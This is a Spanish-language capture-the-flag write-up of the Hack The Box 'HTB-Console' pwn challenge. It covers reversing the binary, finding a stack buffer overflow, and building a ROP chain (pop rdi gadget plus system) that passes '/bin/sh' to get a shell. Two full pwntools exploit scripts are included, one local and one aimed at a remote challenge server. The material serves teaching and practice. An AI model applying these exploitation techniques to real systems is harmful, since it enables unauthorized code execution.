Home HTB-Console - Pwn Challenge (HTB) ❤
Post
Cancel

HTB-Console - Pwn Challenge (HTB) ❤

Hola a tod@s! Hoy les traigo un nuevo post de binary exploitation.

Este es un reto de pwning, del tipo ret2system, similar al ret2libc, el cual implica explotar un Buffer Overflow con el objetivo de evadir la protección no-execute (NX) mediante la ejecución de un ROP Attack, el cual nos permitirá aprovechar las funciones que utiliza el programa para lograr ejecutar una shell interactiva.

Como se puede observar en imagen, la idea del programa es “emular” una consola, común y corriente, la cual posee una cantidad limitada de comandos.

Untitled

Ejecutando el programa con ltrace, logramos identificar el resto de los comandos, les dejaré la función de cada uno para no extenderme demasiado:

  • id: Es lo mismo que el comando id, identifica al usuario que ejecuta la shell.
  • dir: Imprime la “ruta actual” en la que se encuentra el usuario en consola.
  • flag: Despliega un input que le solicita la flag al usuario.
  • hof: Despliega un input que solicita el nombre del usuario.
  • ls: Imprime un listado de “directorios”.
  • date: Imprime el output del comando date.

Untitled

Sabiendo esto, analizaremos el programa un poco más a fondo, aplicando reversing con Ghidra.

El binario se encuentra stripped, sin embargo, luego de identificar las funciones y variables principales, se obtuvieron las siguientes piezas de código.

En primer lugar, se identifica el código de la función principal (main), la cual, en este caso, sólo se encarga de solicitar el input del usuario, el que es almacenado en una variable de 16 bytes y posteriormente pasado como argumento a la función execute_command.

1
2
3
4
5
6
7
8
9
10
11
12
void main(void) {
  char command [16];
  
  FUN_00401196();
  puts("Welcome HTB Console Version 0.1 Beta.");
  do {
    printf(">> ");
    fgets(command,16,stdin);
    execute_command(command);
    memset(command,0,16);
  } while( true );
}

Haciendo revisión de la función execute_command, esta recibe el parámetro, el cual corresponde al comando del usuario, y define una variable user_flag, de 16 bytes, la cual es usada para recibir el input del usuario cuando este ejecuta el comando flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
void execute_command(char *user_command) {
  int command_checker;
  char user_flag [16];
  
  command_checker = strcmp(user_command,"id\n");
  if (command_checker == 0) {
    puts("guest(1337) guest(1337) HTB(31337)");
  }
  else {
    command_checker = strcmp(user_command,"dir\n");
    if (command_checker == 0) {
      puts("/home/HTB");
    }
    else {
      command_checker = strcmp(user_command,"flag\n");
      if (command_checker == 0) {
        printf("Enter flag: ");
        fgets(user_flag,48,stdin);
        puts("Whoops, wrong flag!");
      }
      else {
        command_checker = strcmp(user_command,"hof\n");
        if (command_checker == 0) {
          puts("Register yourself for HTB Hall of Fame!");
          printf("Enter your name: ");
          fgets(&user_name,10,stdin);
          puts("See you on HoF soon! :)");
        }
        else {
          command_checker = strcmp(user_command,"ls\n");
          if (command_checker == 0) {
            puts("- Boxes");
            puts("- Challenges");
            puts("- Endgames");
            puts("- Fortress");
            puts("- Battlegrounds");
          }
          else {
            command_checker = strcmp(user_command,"date\n");
            if (command_checker == 0) {
              system("date");
            }
            else {
              puts("Unrecognized command.");
            }
          }
        }
      }
    }
  }
  return;
}

En este punto, identificamos el buffer overflow, debido a que se establecen 16 bytes para la variable que recibe la flag del usuario, sin embargo, a través de la función fgets, vemos que esta se ha configurado para recibir 48 bytes del usuario, lo cual significa que es posible usar dicho error para sobrescribir otras áreas de la memoria.

1
2
3
4
5
6
7
8
9
10
11
---
  int command_checker;
  char flag [16]; /* 16 bytes */
---
	command_checker = strcmp(user_command,"flag\n");
	if (command_checker == 0) {
	  printf("Enter flag: ");
	  fgets(flag,48,stdin); /* 48 bytes */
	  puts("Whoops, wrong flag!");
	}
---

En base a esta teoría, se coloca una cadena de 80 bytes en el input de la flag, lo cual genera que el programa lance un error segmentation fault, debido a que se ha logrado el desbordamiento de buffer.

Untitled

Posterior a esto, se genera una cadena de 100 bytes con pattern create, de gdb-gef, con el objetivo de identificar cuántos bytes debemos introducir antes de sobrescribir la dirección de retorno del programa.

Untitled

Habiendo hecho esto, al ejecutar el programa y colocar el patrón, detectamos que el offset corresponde a 24 bytes.

Untitled

Antes de continuar, es importante mencionar que el programa tiene implementado el no-execute (NX), el cual nos impide colocar código malicioso en el stack. Por lo tanto, todo lo que sea shellcode tendremos que descartarlo.

Untitled

Sin embargo, esto no es el fin del mundo, debido a que el programa llama a la función system a través del comando date y, por otro lado, nos permite ingresar cualquier tipo de cadena de 10 bytes con el comando hof.

Untitled

En base a esto, primeramente, identificamos la dirección de la llamada a la función system, con la herramienta radare2:

Untitled

Esto también se puede lograr con objdump:

Untitled

Posterior a ello, necesitamos identificar un ROP Gadget, el cual nos permitirá llamar a la función system, y pasarle un argumento, el cual necesariamente tiene que almacenarse en el registro RDI.

1
2
root@offs3c:~/HTB-Console# ROPgadget --binary htb-console | grep 'pop rdi ; ret' 
0x0000000000401473 : pop rdi ; ret

Teniendo esto último, sólo faltaría identificar la dirección donde se almacena el valor del nombre ingresado, al usar el comando hof. Esto lo hacemos con el objetivo de escribir el argumento que vamos a pasarle a la función system. Al automatizar el ataque, en lugar de escribir sha16, escribiremos /bin/sh, lo cual nos permitirá ejecutar una shell interactiva.

Untitled

Como se observa en la siguiente imagen, al forzar la detención del programa, identificamos que la cadena sha16 se ha almacenado en la dirección 0x404b0.

Untitled

En base a esto, escribimos el siguiente exploit, el cual nos permitirá explotar el buffer overflow y obtener una shell interactiva, a partir del rop attack, el cual logramos a partir de los mismos componentes del programa.

Para darles más contexto, el desbordamiento de buffer nos permite alterar el flujo del programa y llamar a la función system (0x401381), la que recibe como parámetro la cadena /bin/sh (0x404b0).

Esto es posible gracias al Rop Gadget, el cual hace posible almacenar dicho argumento en el registro RDI para pasarlo a la función system, y ejecutar el comando correctamente.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/python3

from pwn import process, p64

if __name__ == '__main__':
    p = process('./htb-console')

    system_addr = 0x401381 # 0x401381 e8bafcffff call sym.imp.system 
    POP_RDI = 0x401473 # 0x0000000000401473 : pop rdi ; ret
    name_addr = 0x4040b0 

    offset = 24
    junk = b'\x41' * offset

    payload = junk 
    payload += p64(POP_RDI) 
    payload += p64(name_addr) 
    payload += p64(system_addr) 

    p.sendlineafter(b'>> ', b'hof')
    p.sendlineafter(b'Enter your name: ', b'/bin/sh\0')    
    p.sendlineafter(b'>> ', b'flag')
    p.sendlineafter(b'Enter flag: ', payload)

    p.recv()
    p.interactive()

Como se logra ver en imagen el exploit es ejecutado correctamente, y permite obtener la shell interactiva.

Untitled

Para completar el desafío, sólo debemos adaptar el exploit para que se conecte al servidor de HackTheBox con la función remote, en lugar de process:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/python3

from pwn import remote, p64

if __name__ == '__main__':
    p = remote('159.65.26.210', 31426)

    system_addr = 0x401381 # 0x401381 e8bafcffff call sym.imp.system 
    POP_RDI = 0x401473 # 0x0000000000401473 : pop rdi ; ret
    name_addr = 0x4040b0 

    offset = 24
    junk = b'\x41' * offset

    payload = junk 
    payload += p64(POP_RDI) 
    payload += p64(name_addr) 
    payload += p64(system_addr) 

    p.sendlineafter(b'>> ', b'hof')
    p.sendlineafter(b'Enter your name: ', b'/bin/sh\0')    
    p.sendlineafter(b'>> ', b'flag')
    p.sendlineafter(b'Enter flag: ', payload)

    p.recv()
    p.interactive()

Y ya con esto, el desafío está pwned:

Untitled

This post is licensed under CC BY 4.0 by the author.